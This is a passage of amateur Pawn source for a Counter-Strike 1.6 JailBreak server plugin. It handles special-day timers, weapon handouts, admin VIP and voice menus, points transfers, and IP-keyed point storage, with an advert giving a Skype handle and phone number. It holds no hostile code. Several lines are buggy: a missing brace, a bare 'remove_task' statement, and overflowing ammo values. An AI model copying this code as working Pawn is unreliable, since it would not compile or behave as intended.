  3676. client_cmd(0, "spk ^"%s^"", bellmusic)
  3677. set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
  3678. show_hudmessage(0, "The Time is Over!^nCT- go to find the terrorist and kill them")
  3679. ShowTimerHns()
  3680. set_task(5.0, "removetask")
  3681. } else if(fd) {
  3682. client_cmd(0, "spk ^"%s^"", bellmusic)
  3683. set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
  3684. show_hudmessage(0, "FreeDay is Over!^nCT- go to find the terrorist and kill them")
  3685. remove_task
  3686. } else if(zombieday) {
  3687. ShowTimerZM()
  3688. client_cmd(0, "spk ^"%s^"", bellmusic)
  3689. set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
  3690. show_hudmessage(0, "The Time is Over! Ct Go To Kill The Terorist")
  3691. remove_task
  3692. } else if(RunAwayDay)
  3693. ShowTimerRA()
  3694. set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
  3695. show_hudmessage(0, "The Time is Over! Ct Go To Kill The Terorist")
  3696. remove_task
  3697. } else {
  3698. set_hudmessage(0, 255, 0, 0.0, 0.4, 0, 0.5, 0.5)
  3699. show_hudmessage(0, "TimeLeft To Day: %d", rar)
  3700. set_task(1.0, "ShowTimer")
  3701. } if(rar >= 10) {
  3702. new SecVoice[21]
  3703. num_to_word(timer, SecVoice, 20)
  3704. client_cmd(0, "spk ^"BeatTheB-Jail/%s^"", SecVoice)
  3705. }
  3706. }
  3707. public removetask()
  3708. {
  3709. remove_task
  3710. }
  3711. ShowTimerRA()
  3712. {
  3713. for(new i = 0; i < g_max_clients; i++)
  3714. if(IsPlayer(i) && is_user_alive(i))
  3715. {
  3716. switch(cs_get_user_team(i))
  3717. {
  3718. case CS_TEAM_T:
  3719. {
  3720. fm_set_user_godmode(i, 0)
  3721. }
  3722. case CS_TEAM_CT:
  3723. {
  3724. fm_set_user_godmode(i, 1)
  3725. set_pev( i, pev_flags, pev( i, pev_flags ) & ~ FL_FROZEN);
  3726. }
  3727. }
  3728. }
  3729. }
  3730. ShowTimerZM()
  3731. {
  3732. client_cmd(0, "spk ^"%s^"", bellmusic)
  3733. set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
  3734. show_hudmessage(0, "The Time is Over!^nCT- Godmode 0^nCT- go to find the terrorist and kill them")
  3735. remove_task
  3736. for(new i = 0; i < g_max_clients; i++)
  3737. if(IsPlayer(i) && is_user_alive(i))
  3738. {
  3739. switch(cs_get_user_team(i))
  3740. {
  3741. case CS_TEAM_T:
  3742. {
  3743. fm_give_item(i,"weapon_knife")
  3744. fm_set_user_health(i, 100)
  3745. fm_set_user_godmode(i, 0)
  3746.  
  3747. fm_give_item(i,"weapon_elite") && fm_give_item(i,"weapon_fiveseven") && fm_give_item(i,"weapon_m3") && fm_give_item(i,"weapon_xm1014")
  3748. fm_give_item(i,"weapon_tmp") && fm_give_item(i,"weapon_mac10") && fm_give_item(i,"weapon_mp5navy") && fm_give_item(i,"weapon_p228")
  3749. fm_give_item(i,"weapon_aug") && fm_give_item(i,"weapon_scout") && fm_give_item(i,"weapon_sg550") && fm_give_item(i,"weapon_awp")
  3750. fm_give_item(i,"weapon_g3sg1") && fm_give_item(i,"weapon_p90") && fm_give_item(i,"weapon_ump45") && fm_give_item(i,"weapon_famas")
  3751. fm_give_item(i,"weapon_galil") && fm_give_item(i,"weapon_ak47") && fm_give_item(i,"weapon_m4a1") && fm_give_item(i,"weapon_deagle")
  3752. fm_give_item(i,"weapon_sg552") && fm_give_item(i,"weapon_usp") && fm_give_item(i,"weapon_glock18") && fm_give_item(i,"weapon_m249")
  3753.  
  3754. cs_set_user_bpammo(i, CSW_AK47, 25000000000000000000000) && cs_set_user_bpammo(i, CSW_M3, 250000000000000000000000000) && cs_set_user_bpammo(i, CSW_M4A1, 25000000000000000000000000)
  3755. cs_set_user_bpammo(i, CSW_ELITE, 250000000000000000000000000000000) && cs_set_user_bpammo(i, CSW_ELITE, 25000000000000000) && cs_set_user_bpammo(i, CSW_XM1014, 25000000000000000000000000)
  3756. cs_set_user_bpammo(i, CSW_TMP, 25000000000000000000000000) && cs_set_user_bpammo(i, CSW_MAC10, 25000000000000000) && cs_set_user_bpammo(i, CSW_MP5NAVY, 25000000000000000000000000)
  3757. cs_set_user_bpammo(i, CSW_P228, 250000000000000000000000000000000000) && cs_set_user_bpammo(i, CSW_AUG, 25000000000000000000000000) && cs_set_user_bpammo(i, CSW_SCOUT, 25000000000000000000000000)
  3758. cs_set_user_bpammo(i, CSW_SG550, 2500000000000000000000000) && cs_set_user_bpammo(i, CSW_AWP, 25000000000000000000000000000000) && cs_set_user_bpammo(i, CSW_G3SG1, 25000000000000000000000000)
  3759. cs_set_user_bpammo(i, CSW_P90, 25000000000000000000000000000) && cs_set_user_bpammo(i, CSW_UMP45, 25000000000000000000000) && cs_set_user_bpammo(i, CSW_FAMAS, 25000000000000000000000000)
  3760. cs_set_user_bpammo(i, CSW_GALIL, 2500000000000000000000000000000) && cs_set_user_bpammo(i, CSW_AK47, 250000000000000000000000000) && cs_set_user_bpammo(i, CSW_SG552, 25000000000000000000000000)
  3761. cs_set_user_bpammo(i, CSW_USP, 25000000000000000000000000000000000) && cs_set_user_bpammo(i, CSW_DEAGLE, 2500000000000000000000) && cs_set_user_bpammo(i, CSW_GLOCK18, 25000000000000000000000000) && cs_set_user_bpammo(i, CSW_M249, 25000000000000000000000000)
  3762. }
  3763. case CS_TEAM_CT:
  3764. {
  3765. fm_strip_user_weapons(i)
  3766. fm_give_item(i,"weapon_knife")
  3767. fm_set_user_godmode(i, 0)
  3768. fm_set_user_health(i, 30000)
  3769. set_pev( i, pev_flags, pev( i, pev_flags ) & ~ FL_FROZEN);
  3770. set_task(1.0, "ShowClassMenu", i)
  3771. }
  3772. }
  3773. }
  3774. }
  3775. ShowTimerHns()
  3776. {
  3777. client_cmd(0, "spk ^"%s^"", bellmusic)
  3778. set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
  3779. show_hudmessage(0, "The Time is Over!^nCT- Godmode 0^nCT- go to find the terrorist and kill them")
  3780. remove_task
  3781. for(new i = 0; i < g_max_clients; i++)
  3782. if(IsPlayer(i) && is_user_alive(i))
  3783. {
  3784. switch(cs_get_user_team(i))
  3785. {
  3786. case CS_TEAM_T:
  3787. {
  3788. fm_strip_user_weapons(i)
  3789. fm_set_user_godmode(i, 0)
  3790. }
  3791. case CS_TEAM_CT:
  3792. {
  3793. set_task(0.1, "HideNsike",_,_,_, "b")
  3794. fm_strip_user_weapons(i)
  3795. fm_give_item(i, "weapon_knife")
  3796. fm_set_user_health(i, 100)
  3797. fm_set_user_godmode(i, 1)
  3798. set_pev( i, pev_flags, pev( i, pev_flags ) & ~ FL_FROZEN);
  3799. }
  3800. }
  3801. }
  3802. }
  3803. public OnSecondaryAttack()
  3804. return HAM_SUPERCEDE
  3805. public HideNsike()
  3806. {
  3807. for(new i = 0; i < g_max_clients; i++)
  3808. if(IsPlayer(i) && is_user_alive(i))
  3809. {
  3810. switch(cs_get_user_team(i))
  3811. {
  3812. case CS_TEAM_T:
  3813. {
  3814. }
  3815. case CS_TEAM_CT:
  3816. {
  3817. fm_give_item(i, "weapon_knife")
  3818. fm_set_user_godmode(i, 1)
  3819. }
  3820. }
  3821. }
  3822. }
  3823. public Zombie()
  3824. {
  3825. for(new i = 0; i < g_max_clients; i++)
  3826. if(IsPlayer(i) && is_user_alive(i))
  3827. {
  3828. switch(cs_get_user_team(i))
  3829. {
  3830. case CS_TEAM_T:
  3831. {
  3832. }
  3833. case CS_TEAM_CT:
  3834. {
  3835. fm_give_item(i, "weapon_knife")
  3836. fm_set_user_godmode(i, 1)
  3837. }
  3838. }
  3839. }
  3840. }
  3841. public cmdBox( id ) {
  3842. if(!is_user_connected(id) || !is_user_alive(id) || cs_get_user_team(id) != CS_TEAM_CT)
  3843. ColorChat(id, "^4You ar Not CT Team & You ar Death")
  3844. else {
  3845. new ffname[32]
  3846. get_user_name(id, ffname, 31)
  3847. switch(iHandler) {
  3848. case 0: {
  3849. for(new i = 0; i < g_max_clients; i++)
  3850. if(IsPlayer(i) && is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_T)
  3851. fm_set_user_health(i, 100)
  3852. server_cmd("mp_friendlyfire 1")
  3853. set_hudmessage(0, 255, 0, -1.0, -1.0, 0, 6.0, 12.0)
  3854. show_hudmessage(0, "Box Activated!^n By %s", ffname)
  3855. ColorChat(0, "^3Box^4 Activated!^1 By %s", ffname)
  3856. }
  3857. case 1: {
  3858. server_cmd("mp_friendlyfire 0")
  3859. set_hudmessage(255, 0, 0, -1.0, -1.0, 0, 6.0, 12.0)
  3860. show_hudmessage(0, "Box Deactivated!^n By %s", ffname)
  3861. ColorChat(0, "^3Box^3 Deactivated!^1 By %s", ffname)
  3862. }
  3863. }
  3864. iHandler = !iHandler
  3865. }
  3866. }
  3867. public EventCurWeapon2(id) {
  3868. if(knifeday)
  3869. engclient_cmd(id, "weapon_knife")
  3870. else if(grenadeday && get_user_weapon(id) != CSW_HEGRENADE) {
  3871. fm_strip_user_weapons(id)
  3872. fm_give_item(id, "weapon_hegrenade")
  3873. cs_set_user_bpammo(id, CSW_HEGRENADE, 999)
  3874. engclient_cmd(id, "weapon_hegrenade")
  3875. }
  3876. else if(BoxDay && cs_get_user_team(id) == CS_TEAM_CT) {
  3877. fm_strip_user_weapons(id)
  3878. }
  3879. else if(BoxDay && cs_get_user_team(id) == CS_TEAM_T) {
  3880. fm_strip_user_weapons(id)
  3881. fm_give_item(id, "weapon_knife")
  3882. engclient_cmd(id, "weapon_knife")
  3883. }
  3884. else if(nordeagleday && get_user_weapon(id) != CSW_DEAGLE) {
  3885. fm_strip_user_weapons(id)
  3886. fm_give_item(id, "weapon_deagle")
  3887. cs_set_user_bpammo(id, CSW_DEAGLE, 999)
  3888. engclient_cmd(id, "weapon_deagle")
  3889. }
  3890. else if(knifematchday)
  3891. engclient_cmd(id, "weapon_knife")
  3892. else if(zombieday && get_user_weapon(id) != CSW_KNIFE && cs_get_user_team(id) == CS_TEAM_CT) {
  3893. fm_strip_user_weapons(id)
  3894. fm_give_item(id, "weapon_knife")
  3895. engclient_cmd(id, "weapon_knife")
  3896. }
  3897. else if(hns && cs_get_user_team(id) == CS_TEAM_CT && get_user_weapon(id) != CSW_KNIFE)
  3898. engclient_cmd(id, "weapon_knife")
  3899. else if(zombieday && get_user_weapon(id) != CSW_KNIFE && cs_get_user_team(id) == CS_TEAM_CT) {
  3900. fm_strip_user_weapons(id)
  3901. fm_give_item(id, "weapon_knife")
  3902. engclient_cmd(id, "weapon_knife")
  3903. }
  3904. else if(RunAwayDay && cs_get_user_team(id) == CS_TEAM_T)
  3905. fm_strip_user_weapons(id)
  3906. else if(RunAwayDay && cs_get_user_team(id) == CS_TEAM_CT && get_user_weapon(id) != CSW_SCOUT) {
  3907. fm_strip_user_weapons(id)
  3908. fm_give_item(id, "weapon_scout")
  3909. cs_set_user_bpammo(id, CSW_SCOUT, 999)
  3910. engclient_cmd(id, "weapon_scout")
  3911. }
  3912. else if(fire && cs_get_user_team(id) == CS_TEAM_CT) {
  3913. fm_strip_user_weapons(id)
  3914. }
  3915. else if(fire && cs_get_user_team(id) == CS_TEAM_T && get_user_weapon(id) != CSW_M249) {
  3916. fm_strip_user_weapons(id)
  3917. }
  3918. }
  3919. public GetPlayerDisco()
  3920. {
  3921. new players[32], num
  3922. get_players(players,num,"ah")
  3923. for(new i=0;i<num;i++)
  3924. {
  3925. new num1 = random_num(0,255)
  3926. new num2 = random_num(0,255)
  3927. new num3 = random_num(0,255)
  3928. new alpha = random_num(40,65)
  3929. message_begin(MSG_ONE,get_user_msgid("ScreenFade"),{0,0,0},players[i])
  3930. write_short(~0)
  3931. write_short(~0)
  3932. write_short(1<<12)
  3933. write_byte(num1)
  3934. write_byte(num2)
  3935. write_byte(num3)
  3936. write_byte(alpha)
  3937. message_end()
  3938. }
  3939. }
  3940. public ShowBlind(id)
  3941. {
  3942. if(cs_get_user_team(id) == CS_TEAM_CT) {
  3943. ShowRealBlind()
  3944. }
  3945. }
  3946. public ShowRealBlind()
  3947. {
  3948. new players[32], pnum, tempid
  3949. get_players(players, pnum)
  3950. for(new i; i<pnum; i++)
  3951. {
  3952. tempid = players[i]
  3953.  
  3954. message_begin(MSG_ONE, get_user_msgid("ScreenFade"), {0,0,0}, tempid)
  3955. write_short(4096*1) // Duration
  3956. write_short(4096*1) // Hold time
  3957. write_short(4096) // Fade type
  3958. write_byte(0) // Red
  3959. write_byte(0) // Green
  3960. write_byte(0) // Blue
  3961. write_byte(255) // Alpha
  3962. message_end()
  3963. }
  3964. }
  3965. public ShowSpecialHook()
  3966. {
  3967. new players[32], pnum, tempid
  3968. get_players(players, pnum)
  3969. for(new i; i<pnum; i++)
  3970. {
  3971. tempid = players[i]
  3972.  
  3973. message_begin(MSG_ONE, get_user_msgid("ScreenFade"), {0,0,0}, tempid)
  3974. write_short(4096*1) // Duration
  3975. write_short(4096*1) // Hold time
  3976. write_short(4096) // Fade type
  3977. write_byte(0) // Red
  3978. write_byte(0) // Green
  3979. write_byte(0) // Blue
  3980. write_byte(255) // Alpha
  3981. message_end()
  3982. }
  3983. }
  3984.  
  3985. public GiveVIP(id)
  3986. {
  3987. if(get_user_flags(id) & ADMIN_RCON) {
  3988. new givevipmenu = menu_create("\r[\w BeatTheB Jail \r]\y Give VIP Menu", "ActionGiveVIP")
  3989.  
  3990. new players[32], pnum, tempid
  3991. new szName[32], szTempid[10]
  3992.  
  3993. get_players(players, pnum)
  3994. for(new i; i<pnum; i++)
  3995. {
  3996. tempid = players[i]
  3997.  
  3998. get_user_name(tempid, szName, 31)
  3999. num_to_str(tempid, szTempid, 9)
  4000. menu_additem(givevipmenu, szName, szTempid)
  4001. }
  4002.  
  4003. menu_display(id, givevipmenu)
  4004. } else
  4005. ColorChat(id, "^4You have no access to this")
  4006. }
  4007.  
  4008. public ActionGiveVIP(id, givevipmenu, item)
  4009. {
  4010. new data[6], iName[64]
  4011. new _access, callback
  4012. menu_item_getinfo(givevipmenu, item, _access, data,5, iName, 63, callback)
  4013.  
  4014. new tempid = str_to_num(data)
  4015. new szName[32], szName2[32]
  4016. get_user_name(id, szName, 31)
  4017. get_user_name(tempid, szName2, 31)
  4018. if(get_vip[tempid] || is_user_admin(tempid))
  4019. ColorChat(0, "^4%s ar Already VIP", szName2)
  4020. else {
  4021. ColorChat(0, "^4%s ^3Give VIP to ^4%s", szName, szName2)
  4022. get_vip[tempid] = true
  4023. }
  4024. menu_destroy(givevipmenu)
  4025. }
  4026.  
  4027. /* ---------------------------------------------------
  4028. * --------------- SEND POINTS SYSTEM ----------------*/
  4029.  
  4030. public MainMenuSend(id)
  4031. {
  4032. if(send_delay[id] != 0)
  4033. console_print(id, "Ex SEND: Please wait ^4%d^1 Seconds to SEND", send_delay[id])
  4034. else {
  4035. new target[32], amount[21]
  4036.  
  4037. read_argv(1, target, 31)
  4038. read_argv(2, amount, 20)
  4039.  
  4040. new player = cmd_target(id, target, 8)
  4041. new admin_name[32], player_name[32]
  4042. get_user_name(id, admin_name, 31)
  4043. get_user_name(player, player_name, 31)
  4044.  
  4045. new pointnum = str_to_num(amount)
  4046.  
  4047. if(equal(target, "") || equal(amount, ""))
  4048. console_print(id, "Ex SEND: Use ^"send NAME POINTS^" to send. Example: ^"send yosi 15^"")
  4049. else if(id == player)
  4050. console_print(id, "Ex SEND: You can not send yourself a point")
  4051. else if(!player)
  4052. console_print(id, "Ex SEND: Player Not Found !")
  4053. else if(!is_str_num(amount))
  4054. console_print(id, "Ex SEND: you most to write only numbers")
  4055. else if(playerpoints[id] < pointnum)
  4056. console_print(id, "Ex SEND: you dont have enough points")
  4057. else if(pointnum > 0) {
  4058. playerpoints[player] += pointnum
  4059. playerpoints[id] -= pointnum
  4060. ColorChat(0, "^3%s ^4Give ^3%i^4 Points to ^3%s", admin_name, pointnum, player_name)
  4061. } else
  4062. console_print(id, "Ex SEND: you dont have enough points")
  4063. send_delay[id] = 5
  4064. set_task(1.0,"_ShowDelay", id, "", 0, "a", 5)
  4065. }
  4066. return PLUGIN_HANDLED
  4067. }
  4068.  
  4069. public MenuCallback()
  4070. return ITEM_DISABLED
  4071.  
  4072. /* ---------------------------------------------------
  4073. * ------------- GIVE ACCESS TO SPEACH --------------*/
  4074. public AccessSpeachMenu(id)
  4075. {
  4076. if(get_user_flags(id) & ADMIN_CVAR) {
  4077. new speachmenu = menu_create("\r[\w BeatTheB Jail \r]\y access to Speach Menu", "ActionAccessSpeachMenu")
  4078. new callback = menu_makecallback("MenuCallbackSpeach")
  4079.  
  4080. menu_additem(speachmenu, "\yGive Access", "1")
  4081. menu_additem(speachmenu, "\yRemove Access^n", "2")
  4082. menu_additem(speachmenu, "\rGive Access to CT Team", "3",_, callback)
  4083. menu_additem(speachmenu, "\rRemove Access to CT Team", "4")
  4084.  
  4085. menu_display(id, speachmenu)
  4086. } else
  4087. ColorChat(id, "^4You have no access to that command")
  4088. }
  4089.  
  4090. public MenuCallbackSpeach()
  4091. return mutect ? ITEM_ENABLED : ITEM_DISABLED
  4092. public ActionAccessSpeachMenu(id, speachmenu, item)
  4093. {
  4094. if(item == MENU_EXIT) {
  4095. menu_destroy(speachmenu)
  4096. return
  4097. }
  4098. new Data[7], Name[64], Access, Callback
  4099. menu_item_getinfo(speachmenu, item, Access, Data,5, Name, 63, Callback)
  4100.  
  4101. new Key = str_to_num(Data)
  4102. switch(Key)
  4103. {
  4104. case 1:
  4105. {
  4106. new speach_give = menu_create("\r[\w BeatTheB Jail \r]\y Give access to Speach Menu", "ActionGiveSpeach")
  4107.  
  4108. new players[32], pnum, tempid, szName[32], szTempid[10]
  4109. get_players(players, pnum)
  4110.  
  4111. for(new i; i<pnum; i++)
  4112. {
  4113. tempid = players[i]
  4114.  
  4115. if(!is_user_connected(tempid) || get_user_flags(tempid) & ADMIN_MENU || get_bit(g_PlayerVoice, tempid))
  4116. continue
  4117.  
  4118. get_user_name(tempid, szName, 31)
  4119. num_to_str(tempid, szTempid, 9)
  4120. menu_additem(speach_give, szName, szTempid)
  4121. }
  4122. menu_display(id, speach_give)
  4123. }
  4124. case 2:
  4125. {
  4126. new speach_remove = menu_create("\r[\w BeatTheB Jail \r]\y Remove access to Speach Menu", "ActionRemoveSpeach")
  4127.  
  4128. new players[32], pnum, tempid, szName[32], szTempid[10]
  4129. get_players(players, pnum)
  4130. for(new i; i<pnum; i++)
  4131. {
  4132. tempid = players[i]
  4133.  
  4134. if(!is_user_connected(tempid) || get_user_flags(tempid) & ADMIN_MENU || !(get_bit(g_PlayerVoice, tempid)))
  4135. continue
  4136.  
  4137. get_user_name(tempid, szName, 31)
  4138. num_to_str(tempid, szTempid, 9)
  4139. menu_additem(speach_remove, szName, szTempid)
  4140. }
  4141. menu_display(id, speach_remove)
  4142. }
  4143. case 3:
  4144. {
  4145. new name[33]
  4146. get_user_name(id, name, 32)
  4147. mutect = false
  4148. ColorChat(0, "^3%s ^4Give Speach Access to all^3 CT Team", name)
  4149. }
  4150. case 4:
  4151. {
  4152. new name[33]
  4153. get_user_name(id, name, 32)
  4154. mutect = true
  4155. ColorChat(0, "^3%s ^4Remove Speach Access to all^3 CT Team", name)
  4156. }
  4157. }
  4158. menu_destroy(speachmenu)
  4159. }
  4160.  
  4161. public ActionGiveSpeach(id, speach_give, item)
  4162. {
  4163. if(item == MENU_EXIT) {
  4164. AccessSpeachMenu(id)
  4165. return
  4166. }
  4167. new data[6], iName[64]
  4168. new _access, callback
  4169. menu_item_getinfo(speach_give, item, _access, data,5, iName, 63, callback)
  4170.  
  4171. new tempid = str_to_num(data)
  4172. new szName[32], szName2[32]
  4173. get_user_name(id, szName, 31)
  4174. get_user_name(tempid, szName2, 31)
  4175. set_bit(g_PlayerVoice, tempid)
  4176. ColorChat(0, "^3%s ^4Give Speach Access to ^3%s", szName, szName2)
  4177. menu_destroy(speach_give)
  4178. }
  4179.  
  4180. public ActionRemoveSpeach(id, speach_remove, item)
  4181. {
  4182. if(item == MENU_EXIT) {
  4183. AccessSpeachMenu(id)
  4184. return
  4185. }
  4186. new data[6], iName[64]
  4187. new _access, callback
  4188. menu_item_getinfo(speach_remove, item, _access, data,5, iName, 63, callback)
  4189.  
  4190. new tempid = str_to_num(data)
  4191. new szName[32], szName2[32]
  4192. get_user_name(id, szName, 31)
  4193. get_user_name(tempid, szName2, 31)
  4194. clear_bit(g_PlayerVoice, tempid)
  4195. ColorChat(0, "^3%s ^4Remove Speach Access to ^3%s", szName, szName2)
  4196. menu_destroy(speach_remove)
  4197. }
  4198.  
  4199. public DropCMD(id)
  4200. {
  4201. if(is_user_alive(id)) {
  4202. new weapon,clip,ammo,Float:velo[3]
  4203. weapon = get_user_weapon(id,clip,ammo)
  4204. if(weapon == CSW_KNIFE) {
  4205. if(playerpoints[id] < 50)
  4206. return PLUGIN_CONTINUE
  4207. playerpoints[id] -= 50
  4208. can_pickup[id] = false
  4209. set_task(0.3,"reset_pick",id)
  4210. new start_velo = 10 * 15
  4211. new end_velo = 10 * 50
  4212. velocity_by_aim(id,random_num(start_velo,end_velo),velo)
  4213. make_money(id,velo)
  4214. }
  4215. else if(actiondays) {
  4216. EventCurWeapon2(id)
  4217. }
  4218. }
  4219. return nordeagleday ? PLUGIN_HANDLED : PLUGIN_CONTINUE
  4220. }
  4221. public EventSpray( )
  4222. {
  4223. new iPlayer = read_data(2), iOrigin[3]
  4224. iOrigin[0] = read_data(3)
  4225. iOrigin[1] = read_data(4)
  4226. iOrigin[2] = read_data(5)
  4227. new Float:vecOrigin[3]
  4228. IVecFVec(iOrigin, vecOrigin)
  4229.  
  4230. new Float:vecDirection[3]
  4231. velocity_by_aim(iPlayer, 5, vecDirection)
  4232.  
  4233. new Float:vecStop[3]
  4234. xs_vec_add(vecOrigin, vecDirection, vecStop)
  4235. xs_vec_mul_scalar(vecDirection, -1.0, vecDirection)
  4236. new Float:vecStart[3]
  4237. xs_vec_add( vecOrigin, vecDirection, vecStart)
  4238. engfunc(EngFunc_TraceLine, vecStart, vecStop, IGNORE_MONSTERS, -1, 0)
  4239. get_tr2(0, TR_vecPlaneNormal, vecDirection)
  4240. vecDirection[2] = 0.0
  4241. xs_vec_normalize( vecDirection, vecDirection)
  4242. xs_vec_mul_scalar( vecDirection, 5.0, vecDirection)
  4243. xs_vec_add(vecOrigin, vecDirection, vecStart)
  4244. xs_vec_copy(vecStart, vecStop)
  4245. vecStop[2] -= 9999.0
  4246. engfunc(EngFunc_TraceLine, vecStart, vecStop, IGNORE_MONSTERS, -1, 0)
  4247. get_tr2(0, TR_vecEndPos, vecStop)
  4248. new szName[32]
  4249. get_user_name(iPlayer, szName, charsmax( szName))
  4250. if(g_iSprayMessages)
  4251. ColorChat(0, "^4%s sprayed^4 %.1f units^1 above the^3 ground", szName, (vecStart[2] - vecStop[2]))
  4252. else
  4253. ColorChat(iPlayer, "You have sprayed^4 %.1f units^1 above the^3 ground", (vecStart[2] - vecStop[2]))
  4254.  
  4255. }
  4256.  
  4257. public ShowFiveSeconds(id)
  4258. {
  4259. new SecVoice[21], name[33]
  4260. num_to_word(timer, SecVoice, 20)
  4261.  
  4262. client_cmd(0, "spk ^"vox/%s seconds^"", SecVoice)
  4263. get_user_name(id, name, 32)
  4264. set_hudmessage(0, 255, 0, -1.0, 0.42, 0, 0.5, 0.5)
  4265. if(Show_Choose > 0)
  4266. show_hudmessage(0, "The 50:50 will started in %d seccond^nBy %s", timer, name)
  4267. else
  4268. show_hudmessage(0, "The First writes will started in %d seccond^nBy %s", timer, name)
  4269. timer--
  4270. }
  4271. /* ---------------------------------------------------
  4272. * ------------------ TASKS -------------------------*/
  4273. public advert180() {
  4274. set_dhudmessage(0, 255, 255, -1.0, 0.25, 2, 6.0, 3.0, 0.1, 1.5)
  4275. show_dhudmessage(0, "BeatTheB JailBreak # Game-Serv.Co.iL")
  4276. client_cmd(0, "echo ^"BeatTheB JailBreak # Game-Serv.Co.iL^";echo ^"BeatTheB JailBreak # Game-Serv.Co.iL^";echo ^"BeatTheB JailBreak # Game-Serv.Co.iL^"")
  4277. }
  4278. public advert150() ColorChat(0, "^x04Roze server^x04 | ^x01Skype:haim.gameserv^x01 | ^x04Telephone:0542027038^x04 | ^x01Tkashro ahshav^x01!!!")
  4279.  
  4280. public make_money(id,Float:velo[]) {
  4281. new Float:origin[3]
  4282. new Float:angles[3]
  4283. new Float:mins[3] = {-2.79, -0.0, -6.14}
  4284. new Float:maxs[3] = {2.42, 1.99, 6.35}
  4285. new newent = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString,"info_target"))
  4286.  
  4287. if(!is_user_alive(id)) {
  4288. velo[0] = random_float(1.0,150.0)
  4289. velo[1] = random_float(1.0,150.0)
  4290. velo[2] = random_float(1.0,150.0)
  4291. } else
  4292. velo[2] += 100
  4293. pev(newent,pev_angles,angles)
  4294. angles[1] += random_num(1,360)
  4295. pev(id,pev_origin,origin)
  4296. set_pev(newent, pev_origin, origin)
  4297. set_pev(newent, pev_classname, "pdm_money")
  4298. engfunc(EngFunc_SetModel, newent, model)
  4299. engfunc(EngFunc_SetSize,newent,mins,maxs)
  4300. set_pev(newent,pev_angles,angles)
  4301. set_pev(newent, pev_solid, SOLID_TRIGGER)
  4302. set_pev(newent,pev_movetype,MOVETYPE_TOSS)
  4303. set_pev(newent, pev_velocity,velo)
  4304. engfunc(EngFunc_DropToFloor,newent)
  4305.  
  4306. moneybox[newent]=50
  4307. return FMRES_IGNORED
  4308. }
  4309.  
  4310. public player_Touch(touched, toucher) {
  4311.  
  4312. if(pev_valid(touched) && is_user_alive(toucher) && can_pickup[toucher])
  4313. {
  4314. new classname[32]
  4315. pev(touched, pev_classname, classname, sizeof classname - 1)
  4316. if(equali(classname, "pdm_money")) {
  4317. playerpoints[toucher] += moneybox[touched]
  4318. client_cmd(toucher,"spk %s",money_sound1)
  4319. if(pev_valid(touched))
  4320. engfunc(EngFunc_RemoveEntity,touched)
  4321. screen_fade(toucher)
  4322. }
  4323. }
  4324. return FMRES_IGNORED
  4325. }
  4326.  
  4327. public screen_fade(id) {
  4328. message_begin(MSG_ONE, g_MsgScreenFade, {0,0,0}, id)
  4329. write_short(1<<12)
  4330. write_short(1<<12)
  4331. write_short(1<<12)
  4332. write_byte(0)
  4333. write_byte(200)
  4334. write_byte(0)
  4335. write_byte(20)
  4336. message_end()
  4337. }
  4338.  
  4339. public EventStatusValue(const id) {
  4340. new iType = read_data(1), iData = read_data(2)
  4341. switch(iType) {
  4342. case 1: g_bFriend = bool:(iData == 1)
  4343. case 2: {
  4344. new szMessage[99]
  4345. formatex(szMessage, 98, g_bFriend ? "1 %%c1: %%p2 - %%h: %%i3%%%% - points: %i%s" : "1 %%c1: %%p2 - points: %i%s", playerpoints[iData], is_user_admin(iData) ? " (VIP)" : "")
  4346.  
  4347. message_begin(MSG_ONE_UNRELIABLE, g_iMsgStatusText, _, id)
  4348. write_byte(0)
  4349. write_string(szMessage)
  4350. message_end()
  4351. }
  4352. }
  4353. }
  4354. /* ---------------------------------------------------
  4355. * ------------------ STOCK --------------------------*/
  4356. stock SaveData(index)
  4357. {
  4358. if(playerpoints[index] <= 1000000) {
  4359. gVault = nvault_open("JailBreak-Wows_shop")
  4360.  
  4361. if(gVault == INVALID_HANDLE)
  4362. set_fail_state("[ BeatTheB Jail ] nValut ERROR: =-> Invalid-Handle")
  4363. new gIP[33]
  4364. get_user_ip(index, gIP, 32)
  4365.  
  4366. formatex(vKey, charsmax(vKey), "%sPOINTS", gIP)
  4367.  
  4368. formatex(vData, charsmax(vData), "%d", playerpoints[index])
  4369. nvault_set(gVault, vKey, vData)
  4370. nvault_close(gVault)
  4371. } else {
  4372. gVault = nvault_open("JailBreak-Wows_shop")
  4373.  
  4374. if(gVault == INVALID_HANDLE)
  4375. set_fail_state("[ BeatTheB-Jail ] nValut ERROR: =-> Invalid-Handle")
  4376. new gIP[33]
  4377. get_user_ip(index, gIP, 32)
  4378.  
  4379. formatex(vKey, charsmax(vKey), "%sPOINTS", gIP)
  4380.  
  4381. formatex(vData, charsmax(vData), "1000000")
  4382. nvault_set(gVault, vKey, vData)
  4383. nvault_close(gVault)
  4384. }
  4385. }
  4386. stock LoadData(index)
  4387. {
  4388. gVault = nvault_open("JailBreak-Wows_shop")
  4389.  
  4390. if(gVault == INVALID_HANDLE)
  4391. set_fail_state("[ BeatTheB-Jail ] nValut ERROR: =-> Invalid-Handle")
  4392. new gIP[33]
  4393. get_user_ip(index, gIP, 32)
  4394.  
  4395. formatex(vKey, charsmax(vKey), "%sPOINTS", gIP)
  4396. playerpoints[index] = nvault_get(gVault, vKey)
  4397. nvault_close(gVault)
  4398. }
  4399. stock Punch_View(id, Float:ViewAngle[3])
  4400. entity_set_vector(id, EV_VEC_punchangle, ViewAngle)
  4401. public RemoveCam(id) {
  4402. cs_reset_user_model(id)
  4403. ColorChat(id, "You're ^3Model^4 is now reset.")
  4404. }
  4405. public RemoveSpeed(id) {
  4406. ResetMaxspeed(id)
  4407. ColorChat(id, "You're ^3Speed^4 is now normal.")
  4408. }
  4409. public RemoveGravity(id) {
  4410. entity_set_float(id, EV_FL_gravity, 1.0)
  4411. ColorChat(id, "You're ^3Gravity^4 is now normal.")
  4412. }
  4413. public RemoveStealth(id) {
  4414. fm_set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 255)
  4415. ColorChat(id, "You are now^3 visible.")
  4416. }
  4417. public RemoveGodmode(id) {
